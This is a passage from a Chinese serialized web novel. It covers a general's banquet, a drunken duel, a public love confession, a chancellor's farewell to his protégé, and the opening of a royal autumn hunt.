“不妨事,羊儿们都在一个锅里相聚。羊大爷、羊大娘、羊爹羊妈、羊七大姑八大姨,你中有我,我中有你,鲜美无比!”
叶峮笑骂:“你特娘还挺押韵!”
说话间,马车停在云府前,四周烟气弥漫到连大门都看不见。
云琛跳下马车,深吸一口气,分辨出空气里几十种味道,立马开始流口水。
“哇——好香——烤羊肉串!清炖羊肉!红烧羊腿!孜然羊肺!姜黄羊排!羊蝎子火锅!——还有香辣羊头!!”
看着云琛激动得直跺小脚的样子,霍乾念疼爱地捏住她的脸,笑道:
“小馋猫,别吃太多,小心上火。吃完羊肉不许吃冰,我给你煮酸梅汤去火,乖。”
二人身后,花绝和不言虽然还不知道云琛女扮男装的秘密,但早已被迫习惯霍乾念对她的格外爱宠,无声地“呕吐”了两下,便忙活着去停车栓马。
叶峮警惕地看了眼四周,心想:
这段时间,他与花绝、不言忙着奔走各地,重建霍帮堂口。如今终于忙完回京,怎么才几个月功夫,霍乾念和云琛就这么放肆不避人了??
叶峮觉得这样不妥,刚想劝二人光天化日的收敛些行不?突然一阵风来,周围烟气被吹散,露出府门口特来迎接“侯爷”的一众宾客。
当烟气散去,所有人都清清楚楚地看见那不苟言笑的霍将军,正微微俯身,捏着英姿飒爽的云将军的小脸,笑得比秋天的花还要灿烂。
一旁的三个护卫明显早已见怪不怪,习惯了。
与众宾客惊异的眼神对视上,霍乾念的笑容慢慢消失,再次捏捏云琛的脸,语气自然道:
“云将军,你最近太肉了,一会儿多吃些瘦。”
云琛深深埋下大红色的脸:
“霍将军也是,瞧你,饿得说都不会话了。”
宾客们的表情五彩缤纷的,想笑又不敢,只能纷纷用咳嗽掩饰。
在一片尴尬到令人脚趾抠地的咳嗽声中,目睹一切的云望闭上眼睛,真想一头扎进羊肉锅子里,过上十年八年再浮起来。
好在京都城里个个都是人精。
云望一站出来打圆场,其他人立刻顺着台阶就往下跑,七嘴八舌地向霍乾念问安。
“侯爷安好,不愧是霍侯爷,体恤下属,爱兵如妻子——啊呸,爱兵如子!瞧我,刚过三十五就糊涂了!”
“侯爷快请进,里面锅笼都羊了——啊我是说羊肉笼锅都开了——”
“云将军一表人才,我见了也甚是喜欢——我是说欣赏,非常欣赏!”
众人热热闹闹地穿过烟气,入府用宴。
照规矩,云望的妻子朱氏与女宾们在内厅用宴,男宾在前厅。
比起内厅里温声软语、粉妆玉琢的气氛,前厅明显更热闹。
觥筹交错之间,男人们高谈阔论,谈史论经。
从三百年前雄霸中原的大凉国,一直谈到神秘的西域美女会耍蛇。
云望和霍乾念忙着和众人喝酒吹牛,云琛则专心致志地埋头吃肉。
别人桌上是空了一壶酒,一碗肉,云琛这则是空了九壶酒,两碗酸梅汤,外加三盆羊腿羊排和二十串烤肉。
她本意只低调吃饭,不参与这种场合和话题,免得又说错话挨云望眼神刀。
可无奈她面前羊骨头摞得小山一样高,整个人埋在骨头堆后面大快朵颐,活脱脱像只凶猛进食的猎犬,想不引起人注意都不行。
在小厮第七次收走她面前的骨头,累得抹了把汗的时候,一旁的宋禄老伯爵笑道:
“年轻就是好啊,云将军这一顿的肉量,够老朽吃仨月了!”
一同来赴宴的曹放声如洪钟道:
“就你那风干肉的身子骨,仨月?三年吧!”
“哈哈哈哈哈——”
不顾宋禄老伯爵如何瞪着眼睛骂骂咧咧,众人哄笑不止,全场的注意力一下都集中到云琛身上。
她有点不好意思再吃。
云望笑道:“羊肉壮补,云少将多吃些,对您身体好。”
众人一副了然的样子,纷纷劝云琛再吃些。那宋禄老伯爵则不着痕迹地叹了口气。
隔壁桌特意将两串烤腰子放到云琛桌上,同情地拍拍她的肩,安慰道:
“以形补形,多吃点腰子,没事,早晚都会好的。”
云琛不太明白对方在说什么,几口吞下腰串,签子还没放到桌上呢,就又有更多串腰子伸了过来。
她身后,为她做护卫的花绝和不言忙着收串,不停道谢。
她察觉出有点问题,见霍乾念笑而不语,她便去看云望,果然从那一脸得体笑容之下,看见了一丝小“阴谋”的味道。
管他的呢,有吃有喝多爽快!云琛继续埋头干饭。
腰子吃多了有点噎,她拿起一只新上的酒壶倒了一杯,想喝酒顺顺,却一口下去,辛辣直冲天灵盖,呛得她直咳嗽。
花绝连忙帮她顺背,不言低声笑道:
“咋了,羊咬你嗓子眼了?着啥急,慢慢吃。”
霍乾念无奈又宠溺地摇头,将酸梅汤端给她,好声道:
“慢慢喝,这酒虽没什么酒味,不醉人,但呛住还是难受的。”
“咳咳咳……”云琛咳嗽的眼泪都出来了,想说啥没酒味?我跟前这壶能干翻猛虎信不信?谁突然给我换了烈酒,也不告诉我一声?
云琛好不容易捋顺气,刚想说话,却听一道充满敌意的声音突兀响起:
“早听闻云护卫是千杯不醉的海量,又有救人之危的好手段。在下苏正阳,敬云护卫三杯!”
此话一出,场面瞬间冷下来。
第268章 哥们儿你真勇
云琛自荣封少将之后,一般人称她“云少将”,亲近又热络的都会称她“云将军”。
苏正阳故意称云琛为“护卫”而非“少将”,摆明是拿云琛做过护卫的经历羞辱她。
“手段”二字则暗示云琛做过什么见不得光的事,是趁人之危的小人。
敢在眼前这地盘上欺负云琛?
霍乾念和云望同时眯起眼睛,目光狭长而去,盯住说话的苏正阳。
叶峮、花绝和不言也都神色一凛,不自觉摆出防御气势。
一旁,曹放听了苏正阳这话也十分不快,但见霍乾念那个“母鸡”已经摆出十足的护崽架势,旁边还有好几只同样做好战斗准备的“母鸡”,他索性耳朵一关,专心吃肉。
叶峮上前拿起那壶呛得云琛直咳嗽的酒,闻了闻,脸色微变。
“是烈酒‘醉坟岗’。”
醉坟岗,据说三杯下去,人会醉得胆大包天,敢在荒山坟岗过夜,是酒中少有的辛辣烈酒。
估计是趁刚才花绝和不言忙着收串的时候,苏正阳命人偷偷放到云琛桌上的。
霍乾念睨向苏正阳,冷笑一声,道:
“原来是苏家大公子,你喝水酒自然千杯不醉,要不要试试云将军面前这壶,新上的,给你倒两口?”
云望接话过去,语气温和却明显含锋:
“据我所知,云将军不止有救人之危的好手段,还有救国之危、孤身入二十万敌军大营!勇战固英城营救同胞、置个人生死于度外的好手段!苏统领一直待在禁军,不知上战场杀敌的辛苦,不怪苏统领。”
云望向来温和有礼,说话周全妥帖。
众人都从未见过云望这样话不留情的样子。
苏正阳脸色半青半白,看向云琛的眼神更加不屑鄙夷。
“云护卫怎么不说话,堂堂玄都护卫,最擅长躲在人后面?有霍将军和云望大人做盾,云护卫此生必平安无忧。”
霍乾念脸色彻底沉下,已经处于即将发火的边缘。
云琛轻拍霍乾念的胳膊表示无妨,先仰头干掉一整壶“醉坟岗”,而后毫无芥蒂地朝苏正阳笑笑:
“苏统领,别的就不说啦。只是听你的话,似乎觉得我做过‘护卫’是什么丢人见不得光的事情?抱歉,这我不能同意。生死护主,卫道清明。护卫这行当,凭一身武艺和赤胆忠心护主,时常以命换命,保主子平安。
这和护卫天子的禁军,护卫国门的将士,都没有任何区别。抛头颅洒热血的行当里,只要心正,就没有高低贵贱之分。在我看来,护卫和将军没什么不同。”
“说得好!”
有人小声说了一句,声音不大,但在这气氛尴尬的场面,所有人都听见了。
听声音的方向,说话的似乎是一个宾客的护卫,云琛并不认识。
今日这达官显贵的宴饮,少不了护卫们和自家主子一起出席。
主子们坐着,护卫们站着。
主子们吃肉喝酒,护卫们伺候并戒备。
云琛这番话,无疑令在场的护卫们热血沸腾,全都感动地看向这个前护卫、现将军。
生死护主,卫道清明。
这是每个护卫入行时发过的誓言。
可从场上宾客们的表情可以看出,高高在上的主子们从来没听说过这句话。
幸而有云琛这样一个人,从护卫做到将军,站到了一个足够有话语权的地位,才使这句话能郑重地展现在世人面前。
人们才会想起,原来护卫不是奴才,他们也是一群有情有义的热血好汉啊……
相比云琛的坦荡真诚,苏正阳这连连刁难就显得很小家子气了。
且众人看叶峮、花绝和不言的反应,便知云琛应当平时就是如此,绝不是此刻故意人前卖弄的漂亮话。
苏正阳反驳不得,不怒反笑,连喝三杯酒,而后一跃跳出座席,环顾满堂宾客,倨傲地朝云琛挑挑手指头:
“云护卫这样大言不惭,想必武艺高强。听说云护卫可于蛇群飞梁之上行走,在下想试一试,可给这个面子?”
蛇群飞梁?
再加上那如出一辙的傲慢。
云琛终于知道苏正阳是谁了。
原来是菘蓝——苏菘蓝的哥哥!
当年南璃君和菘蓝被“玉家”绑架山谷,菘蓝被困在满是蛇群的柴房。
那时云琛救了菘蓝,却被误会有轻薄之意而挨了菘蓝一巴掌。
为给云琛出气,找回霍帮的面子,霍乾念当时“一箭又一箭”令菘蓝颜面尽失。
本以为事情到那里就算结束,可在礼教严苛又热衷流言的京都,菘蓝之事很快成了京圈之流,乃至老百姓们茶余饭后的消遣谈资。
堂堂大女官菘蓝,先被轻薄,后被当众羞辱。
人们乐于见到娇贵的玫瑰落进泥潭。
流言很快变成谣言,再加上菘蓝两度被传言要嫁给云琛、霍乾念,却都最终无果。
这几年,菘蓝的名声一落千丈,连带着苏家也受到屈辱。
在苏正阳看来,自己妹妹一切受辱皆因云琛而起,他要借今日的机会替菘蓝好好出出气,揍一顿“罪魁祸首”。
云琛心里觉得可笑又无奈,不知是不是“醉坟岗”开始上头的缘故,她有种想跳上桌子大喊一声“我是女子!我不喜欢女子!”的冲动。
她扶着阵阵发晕的脑袋,一步三晃地走上场。
叶峮见她已醉了,想要上前搀扶,征求性地看向霍乾念:
“少主,云将军已醉了,不适合比武,要不我上吧?”
霍乾念看看“缺心眼”的苏正阳,还有周围一圈大眼瞪小眼的宾客,不紧不慢靠坐在软垫上,斜好身子,摆出一副准备看好戏的架势:
“让琛儿上吧,她今日吃得饱,刚好消消食。”
叶峮只能作罢,任由云琛糊里糊涂地从桌子上抓起一条啃完的羊腿骨。他同情地看着苏正阳:
“苏统领,你好自为之吧。”
花绝和不言也齐齐朝苏正阳竖大拇指,露出一副“哥们儿你真勇”的表情。
另一旁,云望已从云琛身上气势觉察到不妙,立刻吩咐府医前来待命。
苏正阳露出不屑的笑容,“云望大人别担心,我会手下留情点,不叫你府上见太多血,保证留‘玄都护卫’一条命,用不着府医。”
花绝和不言用看傻子的眼神看着苏正阳:
“你想多了,府医是给你叫的。”
苏正阳一愣,目光绕过云望、霍乾念和叶峮三人,看向已经醉得连路都走不稳的云琛,随即抽剑刺去,冷笑道:
“虚张声势之辈!看我一剑!”
第269章 发酒疯
云府前厅里,羊肉锅子烟气腾腾。
众宾客围成一圈,齐齐看向场中央两道身影。
一个是掌管两万禁军、族中兄弟皆在朝任要职的显赫苏家;
另一个是战功赫赫的新贵少将。
众人都对这场充满火药味的挑衅来了兴趣,全神贯注地望着场上,连羊肉溢锅了都不知道。
云琛醉得晕晕乎乎,东南西北都分不清,天旋地转之中,见一条寒刃朝自己刺来,本能地闪躲回击——
挥出羊腿骨,“当啷”一棒打在苏正阳头上,直接将他打懵了。
旁边观战的花绝和不言扑哧一下笑出声。
苏正阳很快回过神,咬了咬牙,开始朝云琛命脉攻击。
云琛脚步踉跄却不倒,脑子晕乎却不迟钝。
因为酒意越来越盛的缘故,她已经彻底忘了对面是高她一级的禁军统领苏正阳,眼下是什么云府羊肉宴。
迎着苏正阳招招下死手的剑锋,云琛将一根羊腿骨挥舞得瑟瑟生风,竟有破空啸声。
凭着毕生武学和战场杀敌的本能,云琛招式狠厉,速度快如闪电,拳拳到肉,打得苏正阳跌翻好几个跟头,根本没有招架之力。
席中,曹放观战得有些激动,大赞一嗓子“小云兄弟好身手!”一巴掌拍塌了桌子,吓得旁边的宋禄老伯爵一哆嗦。
众人只听叮叮当当的骨头猛击剑身,接着很快变成敲在皮肉上的闷击。
不过一眨眼的功夫,苏正阳就被打得鼻青脸肿,衣服和脸上全是羊油肉沫,看着十分狼狈。
没想到自己练武多年,竟然连云琛的身都近不了,连一根短短的羊腿骨都打不过,苏正阳气得脑门冒烟。
他不敢想象,若此时云琛手里拿的是一把剑,那该有多么恐怖,只怕他定要浑身挂彩,小命难保。
忍着浑身疼痛,苏正阳远远退到云琛七步之外,努力抑制住羞怒的神色,朝云琛抱拳:
“云护卫好本事!在下甘拜下风!告辞!”
说罢,苏正阳当即拂袖而去,连羊肉都不吃了。
但已经醉彻底的云琛才不管三七二十一:
这才刚刚热身,你说不打就不打了?
她像头牛犊一样,兴奋地朝苏正阳冲过去,一把拽住他胳膊,拉过头顶,直接反向过肩摔,将人狠狠摔在地上。
苏正阳只觉像被一头狗熊顶住了后背,胳膊被拧得差点断掉,接着天地瞬间颠倒,整个人摔趴在地,五脏六腑都被震得生疼。
云琛将苏正阳扔在地上,一脚踩在他后背,而后随手捞起一只酒壶,踉跄着冲出大厅。
花绝和不言及时上前,贴心地扶起肺差点被踩出来的苏正阳,道:
“苏统领,见过醉虎吗?比清醒的老虎还要可怕的那种,云琛清醒的时候嘛,都会记得收着点力气,只用内力或拳脚相斗,一旦喝高,他下手可就没数了。这是我们多年挨打挨出来的经验。”
“你说说你,非要给他上壶烈酒,以为能让他酒后失态?不,他一般酒后喜欢杀两个人玩玩儿。快叫府医给您看看吧,可别把脑子打坏了!”
苏正阳气得浑身发抖,说不出话。
另一边,云琛冲出大厅,跃上屋顶,乱七八糟地晃了好一会儿才站稳。
众宾客纷纷跑出厅门,仰头看过去。
宋禄老伯爵在底下急得团团转,张开胳膊,跟着云琛的步子转悠:
“小云将军!慢些慢些!莫摔了!”
“就你那风干排骨还当肉垫?一边儿玩泥巴去——”曹放一把将宋禄老伯爵提到旁边,然后将随身佩剑抛上屋顶,高兴大笑道:
“小云兄弟!来舞个剑!”
云琛飞身接过佩剑,眼见就要摔倒,却一个漂亮的打挺贴地翻起,惹的底下众人纷纷喝彩。
一手剑,一手酒。
剑指青天,酒泼红日。
晶莹的酒珠洒落当空,云琛醉的脚步错落,身子东拉西牵,剑锋却气势如虹,凌厉不减。
黄昏灿烂地洒在云琛肆意欢快的脸上,微紫嫣红的霞光照得她的眼睛熠熠生辉。
她举起酒壶对天而饮,痛快地抹了把嘴,高声呐喊:
“阿念——阿念——我爱阿念——”
底下众人仰望着发酒疯的云琛,互相惊问:
“阿念是谁?难不成是霍乾念?”
云望头疼地扶住额头,对一旁管事道:
“去拿捆猪的绳子来!”
叶峮差点就要脱口喊一句“夫人别闹了”,又硬生生忍住,脸上笑得花儿一样,透着慈父般的欣慰。
花绝则和不言互相对视一眼,惊悚地互瞪着眼睛:
“这小子喝多说胡话了!赶紧脱袜子堵嘴!”
这时,一个声音击碎全场议论声,传进所有人的耳朵——
霍乾念目光穿过人群,仰头望着那耀眼夺目的人儿,弯起凤眸,坚定开口:
“阿念也爱你。”
第270章 万物生
羊肉宴最后是怎么结束的,云琛一点印象都没有了。
她只知道现在整个京都城都在疯传,小云将军当众表白小霍将军的事。
站在高高的屋顶,那小云将军仿佛站在这古板又沉寂的京都之巅,披着晚霞,渡着金光,笑看着爱人。
众目睽睽之下,那小霍将军竟毫不避讳,同样地回应了小云将军,而后飞身跃向屋顶,与小云将军紧紧拥抱在一起。
实在惊骇世俗!
实在好甜好甜!
如此劲爆消息,短短一夜传遍整个京都。
不管叶峮带着霍帮众人,如何在街头奔走散播:“阿念不是霍乾念”的消息。
老百姓们显然不买账,十分乐于见到那丰神俊朗的霍将军与阴柔俊美的云将军,上演一出甜甜的恋爱。
传到后来,有人说,那天小霍将军和小云将军在屋顶当众激吻了。
有人说,小霍将军双膝下跪,向小云将军求婚了。
还有人说,“阿念”是小霍将军和小云将军领养的孩子,连孩子几个鼻子几个眼都说得清清楚楚。
这些流言,云琛没有亲耳听到,都是听云望微笑着切齿转述的。
不敢去看云望的表情,云琛撑着宿醉疼痛的脑袋,坐在院子里的小板凳上,小声道:
“我记得,昨天我好像差点从屋顶摔下来,阿念接了我一把而已,怎么就传成这样了……”
云望瞧了眼专心和云莲城打弹珠的霍乾念,无奈叹气,心说:
接了一把?一把?
我真想现在就画下来给你俩看看!
那叫公主抱!还有抱着时候那两双含情脉脉的眼珠子!我真想给你俩抠出来,风干一会再装回去!!
霍乾念嘴角噙着春风得意的桃红,一边用内力打出弹珠,精准地将云莲城“一”字形的弹珠城池击溃,一边道:
“不妨事,云望已经连夜写了弹劾苏正阳放肆无状、殴打朝廷命官的折子,舆论很快就会转移到苏家,没事的。”
云琛高兴道:“要不要把‘殴打朝廷命官’改成‘被朝廷命官殴打’,嘿嘿,我身上一点伤都没有,铁定没输!”
她正呲着牙乐呵,见云望皱眉,又赶紧收敛动作,老实巴交地继续坐着,只敢拿眼角偷瞄云望,问道:
“对了,那时中秋夜宴,几位大人给我说亲时,我离席之后你说啥了,我怎么觉得最近大家看我的眼神都怪怪的?”
云望坦然道:“也没什么。就说你战时腰肾受伤,不能延续香火。我之前一直负责狮威军的急报,他们都信的。”
反应了一会儿,云琛才明白啥叫“不能延续香火”。
意思是不能生育?半个太监?
难怪所有人都那么同情她,还给她烤腰子吃,一直惦记着将女儿许配给她的宋禄老伯爵也总露出惋惜的神色。
云琛有点郁闷,“这让我以后怎么做人咧?我也是要面子的好嘛?”
云望根本不搭理这茬,浅浅抬了下眼睛,道:
“琛姐姐,你酒醒了就回去吧,莫在我这里太久,容易招非议。”
“好嘞!我过一刻钟就走!”云琛跟个孩子似的,一下又露出高兴的神色。
没等云望问为什么还要一刻钟,就见云琛兴冲冲地加入了打弹珠的队伍。
说好的一刻钟,结果霍乾念和云琛打了一个多时辰。
最后硬是打得云莲城输得哇哇大哭,两人才脚底抹油,跑了。
待两位欺负小孩的“没品将军”走后,云望命下人准备一只锅子、十斤上好的南山小羊羔肉、一瓶青梅酒、一盒马麝香烛等。
全部东西装上一辆规制普通的小马车,由最信任的小厮驾驶,悄悄从后门出来,兜兜转转绕了一个多时辰后,停在了丞相府的后门。
听见三短一长的敲门声,倪府的下人启开后门,笑迎云望进入。
两个下人忙着搬运马车上的东西,云望则亲自提着一斤红豆和莲子,沿着熟悉的小路来到书房。
远远地,云望瞧见倪鲲正在书桌前写字。
他问安进门,倪鲲因为太过专注而没有作声,他便自行走到桌边去瞧,却见密密麻麻的信纸上写的全是遗言。
云望脸色一变,“老师,您这是......”
倪鲲下笔不停,语气平常道:
“照最近的形势看,我的时间不多了,不可因一己之祸连累好友、家仆,许多事要提前打点好,我也去得放心。”
云望面色凝重,“老师,您和殿下之间,真的没有可以转圜的余地了吗?”
倪鲲没有回答,他停下笔,望向窗外繁盛茂密的一株白犀梅。
清瘦却苍劲挺拔的枝桠上,生长着洁白如玉的犀梅花骨朵。
在金秋一片金光灿灿的花草树木中,唯独犀梅花一身洁白。
待秋末万物凋零之时,犀梅便会带着新生和希望盛放。
倪鲲觉得有点遗憾,叹道:
“有点可惜,我大约看不到今年的犀梅花了。”
云望随着倪鲲的目光看过去,不觉眼眶渐渐湿润。
瞧出云望的情绪,倪鲲笑道:
“不必哀伤。我早点死,才好早点把这丞相之位腾给你呀!”
云望忍不住皱眉,带着鼻音,嗔怪地叫了一声“老师!”惹得倪鲲又笑起来。
云望吸吸鼻子,目光低垂,“十五年前,学生在稷门求学,读到《商君书》中‘治世不一道,便国不法古’时,总是不能深刻意会。
幸得老师一句‘法古则后于时,脩今则塞于势’点拨,豁然开朗,才能继续求学之路。从那时起,学生心中便认定老师。老师恩德,学生一世难忘。”
倪鲲语气轻快:“那时我游历东山,经过稷门学馆,恰好看见你对着《商君书》苦思冥想,便多嘴说了一句。谁知道被你这家伙记了十几年。”
云望脸上有两分亲近的埋怨,道:
“学生记了十几年,老师却将学生忘得一干二净。”
“哈哈——”倪鲲笑起来,“可不是,那会儿你刚到章察院,每次有东宫令要盖印鉴,你都非要和小太监一起来,来了也不说话,就一直泪眼汪汪地看着我,我还纳闷呢,直到你一句‘不法古,不修今’,我才一下子想起来。真是上天给的缘分呐,竟叫你我师生能同朝为官。”
说到这里,倪鲲又忍不住感叹:
“幸而我发现得早,否则叫其他人瞧出端倪,判定你为‘倪鲲一党’,你这满腹才华便要明珠蒙尘了。”
云望摇头,坚定道:
“学生不在乎!”
“傻孩子。”倪鲲忍不住叹息一声,“望儿,今后我不在,你自己万事当心。殿下疑心重,思虑多,朝中奸佞也永远不会根绝。你要站得高,更要站得稳。”
说罢,有小厮前来叩门,说是内厅的羊肉锅子已经煮好。
倪鲲放下笔,将一大张笔锋秀逸而苍遒其中、可以称之为艺术的“遗言”摊在窗户下,看着松烟墨一点点干透,笑道:
“这墨是先皇曾想命我为帝师时所赐,一直舍不得用,如今用来,的确是珍稀好墨。剩下的你一会儿带走,别可惜了。”
云望沉默无言,随着倪鲲到内厅用饭。
倪鲲从热腾腾的锅子里挑起一筷子肉吃下,叹道:
“肉很好。幸而没有见其生,否则实在不忍食其肉。”
看着眼前香气四溢的羊肉锅子,再想到如今倪鲲的处境,比那小羊好不到哪里去,今后恐怕连偷偷与恩师相见的机会都没有了,云望终于忍不住无声落泪。
倪鲲只当作没看见,一边将青菜放进锅里,一边道:
“先皇励精图治,英明果决,一生唯有两件大错。一是不该算计皇后娘娘,使皇后娘娘抱恨离宫;二是不该因噎废食,怕公主殿下走上他与皇后娘娘充满阴谋算计的老路,便一味地宠而不教,使公主有天资而未能通晓,处高位而未有君威。”
云望知道,倪鲲这是要对他做遗言交代,纵然心里难受,却不敢插话,只恭敬端坐,仔细聆听。
倪鲲继续道:
“先皇本意是叫我为帝师,辅政十年,以助殿下长成,能够真真正正积淀掌天下之权的天子之力。但照眼下情形来看,殿下已经等不及想登基,我便时日无多。
先皇留给我护身的八万京军,我并不想用,因为一旦用了,与禁军对垒起来,很可能令京都生灵涂炭,也伤及太多无辜将士。
望儿,接下来,殿下大约会筹谋调离京军,再取我性命。记着,你万万不可流露任何一点情绪,必得全力向殿下献计严惩我,诛杀我,五马分尸都不为过。
经此,你必能在殿下心中占据份量。杀了我这个多年来‘勾结玉家的大奸臣’,殿下的皇位才能坐得稳当。”
“什么‘勾结’玉家!”云望急声道:那是先皇为一网打尽奸佞,令您以身入局为之!明眼人都知道的!”
说着这些,云望感觉心肝俱在颤抖,眼泪怎么都止不住,却听倪鲲又说:
“望儿,不必为我悲伤。自古人臣如此。你也不要怪殿下。她必须要打一个漂亮的翻身仗,杀了‘倪鲲大奸臣’,才能真的在朝中站稳脚跟,令人信服。
眼下虽然有些操之过急,但有你,有霍将军,还有你姐姐云将军在,霍云两家若为互助,定足够稳固。但也切记树大招风,不可越权。
我是助殿下荣登皇位的垫脚石,亦要成为警醒明君一生的‘心病’。我已绝笔谏言一封,写尽忠言。待我死后,会有人呈给殿下。待殿下见我死,京军却不叛,朝廷却不乱,便会知我一番苦心。
今后不论十年百年,殿下只要激生诛杀臣子之心,便会想起我的绝笔谏言,有枉杀忠良之愧,必会仔细斟酌圣令,不至于任性而为,轻易被佞臣左右。朝廷贤能忠良者亦得以保全。”
一鲲落,万物生。
只愿忠臣不解骨,满朝君子不吞声。
第271章 拒绝的底气
楠国三面战火未休,京都皇宫却已在准备着声势浩大的秋狝。
自皇后故去,先皇几乎再没有进行过任何行围打猎。
因此,皇家围场里草木繁茂,百兽繁衍生息,数量惊人之巨。
此次秋狝选在皇家最大的槿花围场。
围场环千余里,苍岭瀚海,高接上穹。群山分干,众壑朝宗。
高山、低谷、湖泊、平原……大小七十五个围猎场里,皆万灵集萃,物产富饶至极。
因着是东宫首次秋狝,宫里宫外郑重非常,出动禁军守卫八千,随侍宫人五千,巡防京军五万,更有随行官员亲贵及家眷千余。
九龙玄旗飘扬入云,队伍浩浩荡荡行向槿花围场。
从远望去,锦帽貂裘,牵犬擎鹰。重重森严铁甲行走如排山倒海,刀剑枪戟纵横交错,气势壮观不已。
霍乾念和云琛也在其中,虽挂念远在东南的狮威军和战事,却不能违抗东宫令。
又因为实在年轻,没法像曹放和孟剑云一样“倚老卖老”,说个“年事已高,身体抱恙”便可以告假,只得耐着性子同行。
和他俩一样心焦似火想回战场,却又不能表露的,还有将军段捷。
段捷比霍乾念大一岁,也是个年轻得力的干将,别看他说话客气又斯文,动起手来却十分狠厉。
趁四周人少时,段捷对一旁的霍乾念和云琛道:
“这秋狝少则一月,多则三个月,实在太浪费时间。”
霍乾念道:“不止。若延续到冬狩,结束时便快到新年,只怕又会留我们过完新年。”
也许新年之后又是春宴,春宴过后又有祈福……
他一日不答应为南璃君抢夺京军控制权,只怕一日都难离开。
掐着指头算了算,段捷愁眉苦脸:
“一来二去,半年就晃过去了。唉!我与孟老将军在中部平叛,已大战告捷,就差逐步细细清扫。若是半年回不去,只怕叛党又死灰复燃。这一年就白打了!”
云琛恍然大悟,默默地在一旁点头。
她终于大概明白,为什么霍乾念和曹放几人,从中秋夜宴开始就一直忧心忡忡的原因了。
作为上战场的将领,她十分理解这种拖沓会对战时有多不利。
但同时她也很困惑:
忠君者可以这样反对君王吗?
南璃君将五位将军召回,不是为了犒赏和述职吗?
云琛准备了七八页的述职书呢,她不明白,南璃君为何至今还没有召她。
似乎看出她的困惑,霍乾念拂向她后背,将她的思绪唤醒。
“刚才问过宫人,云望只观礼,不参加狩猎,已在帐篷住下。其他围猎的人,一会儿要分十二支围猎队,分别狩猎较量。我已经提前知会过,你我分在一起。”
不等云琛开口,一旁段捷道:
“你们作弊啊?一支围猎队里只一名将领,你俩在一起,还让我们有得赢吗?”
霍乾念斜了段捷一眼,“我多打一只虎送给你。”
段捷笑了一声,脱口而出:“不必,虎你自己留着吧,刚好拿虎牙做——”
话说一半戛然而止,段捷突然关上嘴,而后借口打鸟,离开了霍乾念和云琛身旁。
对于段捷这突兀又奇怪的样子,云琛没有多想,她满脑子都在琢磨该怎么把虎、熊、鹿、豹、狼挨个都打一遍。
三天后。
队伍行至槿花围场。
场中已扎好帐篷,以南璃君的御帐为中心,按照预先划分好的十二支猎队区域驻扎,扩散向各个围场。
出乎意料的,云琛竟没有和霍乾念分在同一个猎队和帐篷营地。
云琛被分在离女官们最近的一处围场,霍乾念则被分在与云琛相对最远的围场,摆明是要将两人分隔开。
女官庄姬来告知这个消息时,云琛刚刚和霍乾念在同一个帐子里收拾落定。
庄姬是个说话声音很柔婉,容貌十分清丽的女官,有着毓质名门的闺秀气质,出身高贵却不傲慢,为人十分和气。
云琛做护卫时,常在霍帮与公主府之间传递信件,除了崧蓝,她最熟悉的就是庄姬。
一见庄姬来,云琛立马搬凳子倒茶,请她落座,笑道:
“庄大人大驾光临,有何贵干呐?”
庄姬用帕子轻轻掩口,笑道:
“来看看你腰伤好了没有。”
“好了好了!好姐姐,别说这个!”
看来这“不能延续香火”的名声已人尽皆知,云琛窘得连连摆手,更叫庄姬笑个不停。
寒暄两句,庄姬向霍乾念行礼道:
“霍将军,原本猎队的分布和住所都已定好,您与云将军在同一队,同一帐。但是今晨,知罗姐姐向殿下提议了一番,便将您和云将军分到不同队伍了。大约是这样更公平些。”
霍乾念眉尾微挑,不知南璃君又在耍什么小算计。想了一下,他猜,大约是要单独见云琛。他问:
“除了知罗,还有谁?”
庄姬低垂下眼睛,端起茶杯慢饮,柔声道:
“知罗姐姐提议的时候,我们都远远地站在外面,瞧见殿下很高兴。但不知何故,菘蓝姐姐去问了两句,殿下虽没有说什么,但好似不太高兴。”
这是不要去触南璃君霉头的意思。
也是暗示如今在南璃君面前,知罗比菘蓝更得脸,但暂时还看不出知罗有什么同党。
霍乾念会意,对庄姬道:“知道了,回去吧。”
云琛没有在意二人这寻常对话,说既然分到离女官最近的猎队,她便干脆和庄姬一同过去。
霍乾念没有阻拦,只在云琛与庄姬将出帐子的时候,叫住云琛:
“琛儿,永远记着,遵你本心就好。你想做什么便去做,不想做什么便不做。有我在,你有可以拒绝任何人的底气,明白吗?”
云琛不明所以,但还是点头离去。
第272章 两只河豚
离开霍乾念,云琛与庄姬骑马行了一刻钟,抵达离女官最近的一处帐子。
云琛稍微一抬眼,就能看见南璃君的东宫御帐。
她估摸了一下距离,从这里过去,也就轻功两眨眼的功夫。
所谓近水楼台先得月,能在离东宫这么近的地方住着,既方便第一时间猎下好物表功,彰显本事,又能趁机向东宫表忠心,这是多少人求都求不来的机会。
不过按云琛的性子,她自然不在意。
与庄姬别过之后,云琛麻利地在帐子里收拾妥当,准备去拜访某位“信侯大人”。
宫里不许动物随便乱跑,云琛自回京以后,在宫里只见到知罗一人,还未曾见过墨墨。
她猜测,这次围场行围打猎,知罗一定会带着墨墨出来。
许久不见那小家伙,云琛甚为想念。
她换好常服,揣好小鱼干,经过来来往往准备打猎去的人群,往女官们住的帐子走。
走到半路,正见她最不待见的两个人,并排挡在路中央。
崧蓝气恼地拍打着身上崭新漂亮的骑装裙,雪白的裙面上有两个小爪印。
苏正阳一边哄她,一边踩住罪魁祸首的尾巴。
黑色的雪貂在他脚下不住挣扎,疼得嗷嗷直叫唤。
想都没想,云琛捡起一块石头打出去,若不是苏正阳反应快,又要被正正地打在脑门上。
石头擦着苏正阳的额角过去,在皮肤上留下一道血痕。
他抬眸怒视,还未看清楚,就觉胸口被猛推了一把,后退好几步才站稳。
云琛心疼地抱起瑟瑟发抖的雪貂,轻轻拍打它尾巴上的土,柔声哄道:
“小煤球,你怎么跑到这里了?不怕不怕,我来救你。”
仇人相见分外眼红,苏正阳脸色铁青地瞪着云琛:
“你干什么?!你官阶低于我,怎敢突然袭击我?!”
云琛“嘁”了一声,头也不抬,“打不过我就拿官阶压我?算什么男子汉大丈夫!墨墨是东宫赏过的‘信侯’功臣!你这是殴打朝廷官员吗?”
“什么‘信侯’?这是我刚从围场打的雪貂!”
“切,敢做不敢当?敢踩‘信侯’尾巴却没胆承认?看来你这官阶也没给你多少底气。”
“你!”苏正阳气得说不出话,倒是他身旁的菘蓝冷笑一声,看着眼前这个弄不死又避不开的云琛,再想到如今自己在京圈贵女之中名声颇差,世家小姐们都在背地里笑话她,全因云琛而起。
菘蓝恨得咬牙切齿,但见周围已有人看过来,她立刻换上一副皮笑肉不笑的面容,甚至还朝云琛行了一礼,指着雪貂道:
